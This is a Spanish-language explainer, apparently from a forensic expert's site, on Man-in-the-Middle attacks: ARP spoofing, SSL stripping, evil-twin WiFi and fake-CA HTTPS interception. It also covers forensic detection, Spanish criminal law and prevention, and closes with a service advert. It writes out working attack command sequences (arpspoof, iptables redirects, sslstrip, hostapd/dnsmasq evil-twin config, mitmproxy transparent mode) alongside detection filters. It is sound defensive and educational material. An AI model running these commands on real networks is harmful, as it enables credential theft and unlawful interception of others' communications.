Man-in-the-Middle (MitM)

Man-in-the-Middle (MitM): Interceptación de Comunicaciones

Ninguna red WiFi abierta protege frente a un ataque Man-in-the-Middle: el problema no es qué porcentaje está mal configurado, sino que la red abierta no autentica al punto de acceso. Cualquiera puede levantar un evil twin con el mismo nombre que la red del aeropuerto o la cafetería, y el dispositivo de la víctima se conecta al que ofrezca mejor señal. No hay auditoría pública española que mida esto —el CCN-CERT, que es la capacidad de respuesta del Centro Criptológico Nacional, tiene por ámbito el sector público, no los comercios—, y la cifra tampoco haría falta: el riesgo es estructural, no estadístico. Desde robo de credenciales bancarias hasta suplantación de identidad corporativa, la interceptación de comunicaciones es uno de los vectores de ataque más antiguos y aún efectivos del cibercrimen.

Un ataque Man-in-the-Middle (MitM) convierte al atacante en un intermediario invisible entre víctima y destino legítimo, permitiendo espiar conversaciones privadas, robar passwords, modificar transacciones bancarias o inyectar malware en descargas. Desde ARP spoofing en redes corporativas hasta WiFi evil twins en hoteles, detectar y demostrar estos ataques es crítico para litigios de fraude electrónico, robos de identidad y vulneraciones de confidencialidad empresarial.

Definición técnica

Un ataque Man-in-the-Middle es una interceptación activa donde el atacante:

1. Se posiciona entre emisor y receptor (víctima y servidor legítimo)
2. Intercepta comunicaciones sin que ninguna parte sea consciente de su presencia
3. Puede leer datos en claro (si no hay cifrado o lo rompe/evade)
4. Puede modificar datos en tránsito (alterar transacciones, inyectar código)
5. Mantiene la apariencia de normalidad (las partes creen comunicarse directamente)

El MitM afecta a la tríada CIA de seguridad:

• Confidencialidad: El atacante lee datos privados (passwords, emails, números tarjeta)
• Integridad: Puede modificar datos sin que las partes lo detecten
• Autenticidad: Suplanta la identidad de una o ambas partes

Tipos de ataques Man-in-the-Middle

Técnica 1: ARP Spoofing (ARP Poisoning)

La técnica MitM más común en redes locales. El atacante engaña a víctima y router para que envíen tráfico a través de él.

Funcionamiento

Protocolo ARP normal:

1. PC víctima quiere comunicarse con 192.168.1.1 (router)
2. Envía broadcast: “¿Quién tiene 192.168.1.1? Dime tu MAC”
3. Router responde: “Soy 192.168.1.1, mi MAC es AA:BB:CC:DD:EE:FF”
4. PC guarda en tabla ARP: 192.168.1.1 → AA:BB:CC:DD:EE:FF

ARP Spoofing malicioso:

1. Atacante envía ARP reply falso a víctima: “Soy 192.168.1.1, mi MAC es 11:22:33:44:55:66” (MAC del atacante)
2. Atacante envía ARP reply falso a router: “Soy 192.168.1.100 (víctima), mi MAC es 11:22:33:44:55:66”
3. Resultado: Todo tráfico víctima ↔ router pasa por el atacante

## Herramienta: arpspoof (suite dsniff)
## Terminal 1: Envenenar tabla ARP de la víctima
sudo arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1
## "Decir a 192.168.1.100 que yo soy 192.168.1.1"

## Terminal 2: Envenenar tabla ARP del router
sudo arpspoof -i wlan0 -t 192.168.1.1 192.168.1.100
## "Decir a 192.168.1.1 que yo soy 192.168.1.100"

## Terminal 3: Habilitar IP forwarding (reenviar paquetes para mantener conectividad)
sudo sysctl -w net.ipv4.ip_forward=1

## Terminal 4: Capturar tráfico interceptado
sudo tcpdump -i wlan0 -w mitm_capture.pcap
## Analizar después con Wireshark

Detección forense

Indicadores en logs:

• Múltiples IPs con la misma dirección MAC (imposible físicamente)
• Cambios frecuentes en tabla ARP (cada 1-2 segundos)
• Gateway ARP diferente al configurado en DHCP

Herramientas de detección:

## 1. Verificar tabla ARP actual
arp -a
## Output sospechoso: dos IPs diferentes con misma MAC

## 2. Monitorización continua con arpwatch
# arpwatch avisa por syslog y correo; -f es su base de datos ARP, no un log
sudo arpwatch -i eth0
## Alerta automática si detecta flip-flops ARP

## 3. Análisis forense de PCAP
tshark -r capture.pcap -Y "arp.duplicate-address-detected"
## Identifica gratuitous ARP (técnica de ARP spoofing)

Técnica 2: SSL Stripping

Ataque que degrada conexiones HTTPS seguras a HTTP inseguro, permitiendo al atacante leer datos en claro.

Funcionamiento

Resultado: El servidor ve una sesión HTTPS normal, la víctima ve HTTP, el atacante lee todo.

## Herramienta: sslstrip (moxie marlinspike) — SIN MANTENIMIENTO desde 2011,
## y con HSTS y HTTPS por defecto ya no funciona contra banca. Se conserva
## como ilustración histórica de la técnica, no como receta que probar hoy.
## Configuración del ataque (tras ARP spoofing exitoso)

## 1. Redirigir tráfico HTTP (puerto 80) a sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

## 2. Ejecutar sslstrip en puerto 8080
sslstrip -l 8080 -w sslstrip_log.txt

## 3. Analizar logs (credenciales capturadas)
tail -f sslstrip_log.txt
## Output:
## 2026-02-10 14:23:45 POST http://banco.com/login
## username=victim@example.com&password=SecretP@ss123

Contramedidas y detección

HSTS (HTTP Strict Transport Security):

• Header HTTP que obliga navegadores a usar HTTPS siempre
• Lista HSTS preload (navegadores rechazan HTTP sin intentar conexión)
• Limitación: Solo protege si el usuario ya visitó el sitio al menos una vez via HTTPS

Detección forense:

## Análisis de PCAP para detectar SSL stripping
tshark -r capture.pcap -Y "http.request.method == POST" -T fields \
  -e ip.src -e http.host -e http.request.uri

## Buscar POSTs a dominios conocidos que deberían ser HTTPS
## Ejemplo sospechoso:
## 192.168.1.100 http://banco.com /login  ← Debería ser HTTPS!

Indicadores en cliente:

• URL comienza con http:// en sitios bancarios/e-commerce (debería ser https://)
• Ausencia de indicador de conexión segura en barra de direcciones
• Certificados SSL con advertencias del navegador

Técnica 3: WiFi Evil Twin

Creación de punto de acceso WiFi falso idéntico al legítimo para interceptar todo el tráfico de usuarios desprevenidos.

Funcionamiento

1. Atacante escanea WiFis en aeropuerto y detecta: Airport_Free_WiFi (red legítima)
2. Atacante crea access point con mismo SSID: Airport_Free_WiFi (clon exacto)
3. Atacante aumenta potencia de señal para que su AP aparezca primero en lista de redes
4. Víctima se conecta al AP malicioso (cree ser la red legítima)
5. Atacante proporciona DHCP (asigna IP al cliente) y actúa como gateway
6. Todo tráfico pasa por atacante: HTTP, DNS, emails (incluso HTTPS visible por metadatos)

## Herramienta: hostapd + dnsmasq + iptables
## Configuración Evil Twin

## 1. Crear AP falso con hostapd
## Archivo: hostapd.conf
interface=wlan0
driver=nl80211
ssid=Airport_Free_WiFi  # SSID idéntico al legítimo
channel=6
hw_mode=g

## 2. Iniciar AP
sudo hostapd hostapd.conf

## 3. DHCP server para asignar IPs a víctimas
sudo dnsmasq -C dnsmasq.conf -d
## dnsmasq.conf:
## interface=wlan0
## dhcp-range=10.0.0.10,10.0.0.100,12h
## dhcp-option=3,10.0.0.1  # Gateway (atacante)
## dhcp-option=6,8.8.8.8   # DNS

## 4. NAT para redirigir tráfico
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1

## 5. Capturar todo el tráfico
sudo tcpdump -i wlan0 -w evil_twin_capture.pcap

Variante avanzada: Evil Twin con portal captive falso

Escenario: Hotel con WiFi legítima que usa portal captive (pide room number + apellido).

Ataque mejorado:

1. Atacante clona portal captive del hotel (HTML idéntico)
2. Víctima conecta a Evil Twin → se abre portal falso
3. Víctima ingresa room number + apellido → atacante captura estos datos
4. Atacante redirige a víctima a internet (experiencia normal)
5. Atacante usa room number robado para cargar servicios a cuenta de víctima

Detección:

• Comparar certificado SSL del portal captive con el legítimo (firma diferente)
• Múltiples APs con mismo SSID pero MACs diferentes
• Signal strength anómalo (AP malicioso suele estar muy cerca, señal excesivamente fuerte)

Técnica 4: HTTPS MitM con CA falsa

Interceptación de tráfico HTTPS instalando certificado de CA (Certificate Authority) falsa en el dispositivo de la víctima.

Funcionamiento

Problema del atacante: HTTPS cifra tráfico, incluso con MitM no puede leer contenido.

Solución del atacante:

1. Instalar certificado raíz (root CA) malicioso en PC/móvil de víctima
   • Por malware
   • Por ingeniería social (“instala este certificado para acceder a WiFi corporativa”)
   • Por acceso físico (5 minutos desatendido)
2. Realizar MitM tradicional (ARP spoofing)
3. Interceptar handshake SSL/TLS
4. Presentar certificado firmado por CA falsa (navegador confía porque la CA está en trusted store)
5. Víctima ve indicador de conexión segura (todo parece normal), pero atacante lee tráfico en claro

## Herramienta: mitmproxy (proxy HTTPS transparente)

## 1. Generar certificado CA falso
# La CA se instala visitando mitm.it con el proxy activo:
mitmproxy
## Guarda certificado en: ~/.mitmproxy/mitmproxy-ca-cert.pem

## 2. Instalar certificado en PC víctima
## Windows: certmgr.msc → Trusted Root CA → Import
## (En Android, desde Nougat/API 24 las apps ya no confían por defecto en las CA
##  añadidas por el usuario, así que instalar el certificado NO intercepta su tráfico)
## macOS: Keychain Access → System → Import → Trust: Always Trust
## Android: Settings → Security → Install from storage

## 3. Configurar proxy transparente (tras ARP spoofing)
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy --mode transparent --showhost

## 4. Capturar tráfico HTTPS descifrado
## mitmproxy mostrará HTTP requests en claro, incluyendo POSTs con passwords

Contramedidas

Certificate Pinning:

• Apps móviles hardcodean hash del certificado SSL esperado
• Si el cert no coincide (caso de MitM con CA falsa), app rechaza conexión
• Usado por: aplicaciones bancarias y de mensajería. No enlazo confirmaciones concretas de fabricante porque las páginas que suelen citarse para Signal y WhatsApp devuelven 404 y 400

Public Key Pinning (HPKP):

• Header HTTP que indica qué CAs son válidas para ese dominio
• Deprecado en 2018 (causaba problemas operacionales)
• Chrome lo retiró en su versión 67 (2018) por los problemas operativos que causaba. Certificate Transparency no lo reemplaza: resuelve otro problema —hacer públicos los certificados emitidos— y hoy la defensa equivalente es el pinning en la propia aplicación

Detección forense:

## Verificar certificados SSL en PCAP
tshark -r capture.pcap -Y "ssl.handshake.type == 11" -T fields \
  -e x509sat.printableString -e x509ce.dNSName

## Buscar certificados con CN sospechosos
## Ejemplo: "mitmproxy", "Burp Suite CA", "Charles Proxy"

## Comparar con certificado legítimo
openssl s_client -connect banco.com:443 </dev/null 2>/dev/null | \
  openssl x509 -fingerprint -noout
## SHA-256: AB:CD:EF:12:34:56... (debe coincidir con cert real publicado por el banco)

Detección forense de ataques MitM

Análisis de red con Wireshark

Filtros útiles:

## Detectar ARP spoofing
arp.duplicate-address-detected || arp.duplicate-address-frame

## Detectar SSL/TLS con certificados autofirmados
ssl.handshake.certificate && (x509sat.printableString contains "mitmproxy" ||
x509sat.printableString contains "Burp")

## Detectar HTTP en sitios que deberían ser HTTPS
http.host == "paypal.com" || http.host == "gmail.com" || http.host == "facebook.com"

## Detectar DNS responses con IPs privadas para dominios públicos
dns.a && ip.addr == 192.168.0.0/16

## TTL anómalo (indicador de salto adicional)
ip.ttl < 60 && ip.src == 8.8.8.8  # Google DNS debería tener TTL alto

Análisis de logs de sistemas

1. Logs Windows Event Viewer:

## Buscar cambios en Trusted Root CA store
# Importar una CA raíz NO deja un evento de seguridad que filtrar: lo que hay
# que hacer es listar el almacén de confianza y compararlo con la línea base.
# (El Event 4886 que a veces se propone solo existe en un servidor con rol AD CS
#  y registra una SOLICITUD de certificado, no una importación.)
Get-ChildItem Cert:\LocalMachine\Root |
  Select-Object Subject, Thumbprint, NotBefore |
  Sort-Object NotBefore -Descending

2. Logs de firewall corporativo:

## Buscar conexiones a IPs internas desde exterior (posible hijacking BGP)
grep "INVALID" /var/log/firewall.log | grep "dst=192.168"

## Detectar volumen excesivo de tráfico a un único MAC (posible MitM)
awk '{print $5}' /var/log/dhcp.log | sort | uniq -c | sort -nr
## Si un MAC tiene cientos de asignaciones DHCP diferentes IPs → sospechoso

Indicadores de compromiso (IOCs) MitM

Marco legal español

Código Penal

Artículo 197.1 CP - Interceptación de comunicaciones:

El que, para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento, (…) intercepte sus telecomunicaciones o utilice artificios técnicos de escucha, transmisión, grabación o reproducción del sonido o de la imagen, o de cualquier otra señal de comunicación, será castigado con las penas de prisión de uno a cuatro años y multa de doce a veinticuatro meses.

Aplicación a MitM: Realizar ARP spoofing, SSL stripping o Evil Twin para interceptar emails, WhatsApp, banca online es delito, incluso si no se usan los datos robados.

Difusión posterior: si los datos interceptados se difunden, revelan o ceden a terceros, el art. 197.3 impone prisión de dos a cinco años. Es un tipo con su propia pena, no una agravante del apartado 1.

Artículo 249.1.a) CP — estafa informática. La LO 14/2022 la trasladó aquí desde el antiguo art. 248.2:

«Los que, con ánimo de lucro, obstaculizando o interfiriendo indebidamente en el funcionamiento de un sistema de información o introduciendo, alterando, borrando, transmitiendo o suprimiendo indebidamente datos informáticos o valiéndose de cualquier otra manipulación informática o artificio semejante, consigan una transferencia no consentida de cualquier activo patrimonial en perjuicio de otro»

Aplicación: usar un MitM para modificar una transferencia —cambiar el IBAN de destino— encaja en la estafa informática del art. 249.1.a CP: transferencia no consentida obtenida manipulando el sistema. Que además concurra alguna agravante del art. 250 depende de los hechos.

Constitución Española

Artículo 18.3 CE - Secreto de comunicaciones:

Se garantiza el secreto de las comunicaciones y, en especial, de las postales, telegráficas y telefónicas, salvo resolución judicial.

Consecuencia: Cualquier interceptación (MitM incluido) sin orden judicial vulnera derecho fundamental. La evidencia obtenida así es nula de pleno derecho (art. 11.1 LOPJ).

Única excepción: redes corporativas con política de uso aceptable firmada por los empleados, informando de la monitorización. Y conviene decir el efecto con precisión: el art. 11.1 LOPJ dispone que la prueba obtenida vulnerando derechos fundamentales no surtirá efecto, no que sea «nula de pleno derecho». Aun así, hay límites: no se puede interceptar comunicaciones personales (Gmail, banca personal).

Encaje penal

El encaje penal: interceptar las comunicaciones de compañeros mediante ARP spoofing encaja en el art. 197.1 CP, que castiga a quien «intercepte sus telecomunicaciones o utilice artificios técnicos de escucha, transmisión, grabación o reproducción». Ser administrador de la red no da cobertura: la condición técnica de administrador permite gestionar el sistema, no leer el correo de otro, y el art. 197.1 no exige que la red sea ajena sino que falte el consentimiento.

El montaje de un punto de acceso gemelo (evil twin) para capturar credenciales encaja en el artículo 197 bis del Código Penal —acceso a un sistema de información «vulnerando las medidas de seguridad establecidas»— y, si se llega a la transferencia patrimonial, en el artículo 249.1.a. Pena de prisión + indemnizaciones a víctimas por fraude bancario derivado.

Caso práctico: Análisis forense de fraude bancario vía MitM

Escenario hipotético con fines didácticos:

Cliente de banco denuncia que realizó transferencia de €15.000 a IBAN correcto, pero el dinero llegó a cuenta diferente. Banco niega responsabilidad alegando que el cliente introdujo IBAN erróneo. Se solicita análisis forense.

Metodología aplicada

Resultado legal:

• Vía civil frente al establecimiento por la wifi abierta sin aislamiento entre clientes, que es la omisión que el análisis sí acredita
• Desenlace: al ser un escenario didáctico no se le asigna sentencia. Lo que ilustra es el reparto de responsabilidad —la wifi abierta sin aislamiento de clientes es una omisión del establecimiento, y no revisar el certificado lo es del usuario—, que es lo que un tribunal pondera al graduar la concurrencia de culpas
• La posición del banco depende de si acredita haber aplicado la autenticación reforzada que exige la PSD2, y eso lo valora el tribunal: el escenario no lo resuelve
• Denuncias penales a atacante (no identificado, Raspberry Pi recuperado sin huellas útiles)

Prevención de ataques MitM

Para usuarios

1. Nunca instalar certificados root desconocidos (red flag enorme)
2. Verificar HTTPS y certificado antes de ingresar credentials
3. Usar VPN en WiFis públicas (cifra todo el tráfico, MitM solo ve ruido)
4. Desactivar auto-connect WiFi (evita conectarse a Evil Twins automáticamente)
5. Apps bancarias en lugar de web (suelen tener certificate pinning)

Para empresas

1. HSTS Preload en todos los dominios corporativos
2. Certificate Transparency monitoring (alertar si se emite cert fraudulento)
3. Network Access Control (NAC): 802.1X authentication (solo dispositivos autorizados acceden a LAN)
4. Monitorización ARP con arpwatch en Unix, o —lo que de verdad ataja el problema en una red corporativa— switches con DAI (Dynamic ARP Inspection)
5. Segmentación de red: VLANs separadas para invitados vs empleados
6. EDR/NDR: las plataformas de detección en red pueden alertar de anomalías compatibles con un MitM —ARP inconsistente, certificados inesperados—, aunque ningún fabricante documenta la detección de MitM como capacidad nombrada

Para desarrolladores

1. HTTPS-only (HSTS header con max-age largo)
2. Certificate pinning en apps móviles
3. Mutual TLS (mTLS) para APIs críticas (cliente también presenta cert)
4. DNSSEC para prevenir DNS spoofing
5. Content Security Policy (CSP) para mitigar inyección HTML en MitM

Herramientas forenses y de pentesting

Tendencias futuras

1. MitM en 5G

Redes 5G con network slicing permiten aislamiento, pero vulnerabilidades en gNB (estaciones base) podrían permitir MitM a nivel operadora.

IMSI catchers (Stingray) permiten MitM en redes móviles. No he localizado fuente para las «versiones 5G en desarrollo por agencias gubernamentales» que suelen mencionarse.

2. TLS 1.3 y mitigaciones

TLS 1.3 elimina renegociación (usada en algunos MitM) y mejora forward secrecy. Impacto: MitM más difícil, pero sigue funcionando si el atacante instala CA falsa.

3. QUIC y HTTP/3

QUIC (UDP-based) en lugar de TCP hace ARP spoofing menos efectivo. Sin embargo, DNS hijacking y Evil Twin siguen funcionando.

4. Post-Quantum Cryptography

Cuando llegue computación cuántica, el tráfico interceptado hoy podrá descifrarse en futuro. Estrategia: migrar a los algoritmos que el NIST ya ha normalizado: ML-KEM (FIPS 203, el antiguo Kyber) y ML-DSA (FIPS 204, el antiguo Dilithium). No pongo fecha límite: no hay una obligación con plazo que citar.

Preguntas frecuentes adicionales

¿Los sitios con HTTPS son inmunes a MitM?

No completamente. HTTPS protege contra sniffing pasivo y MitM básico, pero no contra:

• MitM con CA falsa instalada (el más peligroso)
• SSL stripping si el usuario inicia con HTTP
• Bugs en implementaciones TLS (ej. Heartbleed permitía leer memoria del servidor)

Mejor protección: HTTPS + HSTS Preload + Certificate Pinning (en apps móviles).

¿Cómo saber si mi WiFi tiene un Evil Twin activo?

Apps móviles como Fing (iOS/Android) o WiFi Analyzer muestran todos los APs detectados con su MAC y signal strength. Si ves 2 APs con mismo SSID pero MACs diferentes, uno es probablemente Evil Twin. También: un AP con señal excesivamente fuerte en ubicación pública (más de -30 dBm) es sospechoso (probablemente muy cerca, en mochila de atacante).

Conclusión

Los ataques Man-in-the-Middle son una de las amenazas más antiguas pero aún prevalentes, especialmente en WiFis públicas y redes corporativas mal configuradas. Desde ARP spoofing básico hasta Evil Twins sofisticados con SSL interception, detectar y demostrar estos ataques requiere análisis forense meticuloso de tráfico de red, certificados SSL, logs de sistemas y correlación de timestamps.

Un perito informático forense especializado en MitM debe:

• ✅ Dominar análisis de tráfico con Wireshark, tcpdump, tshark
• ✅ Entender protocolos de red (ARP, DNS, SSL/TLS, HTTP)
• ✅ Identificar indicadores técnicos (duplicate MACs, fake certs, TTL anomalies)
• ✅ Conocer marco legal (art. 197 CP, art. 18.3 CE, nulidad probatoria)
• ✅ Explicar conceptos técnicos complejos en lenguaje accesible para jueces

Para casos de fraude electrónico, robo de credenciales o disputas con bancos/aseguradoras donde se sospeche MitM, es crítico actuar rápido (los registros se rotan, y el plazo depende del operador y del sistema: hay que pedirlos cuanto antes y por escrito) y contar con peritaje técnico solvente.

¿Sospechas de ataque Man-in-the-Middle?

Si has sufrido fraude bancario online, robo de credenciales corporativas o acceso no autorizado que podría involucrar interceptación de comunicaciones, puedo ayudarte con:

• ✅ Análisis forense de PCAPs de red corporativa
• ✅ Examen de certificados SSL instalados en dispositivos comprometidos
• ✅ Revisión de logs de firewall, IDS, WiFi controllers
• ✅ Reconstrucción técnica del ataque con timeline completo
• ✅ Informes periciales admisibles para procedimientos penales (art. 197 CP) o civiles
• ✅ Ratificación en juicio con explicación técnica comprensible

Contacta para una consulta gratuita de 20 minutos donde evaluaremos los indicadores de compromiso y la evidencia disponible.

Solicitar consulta gratuita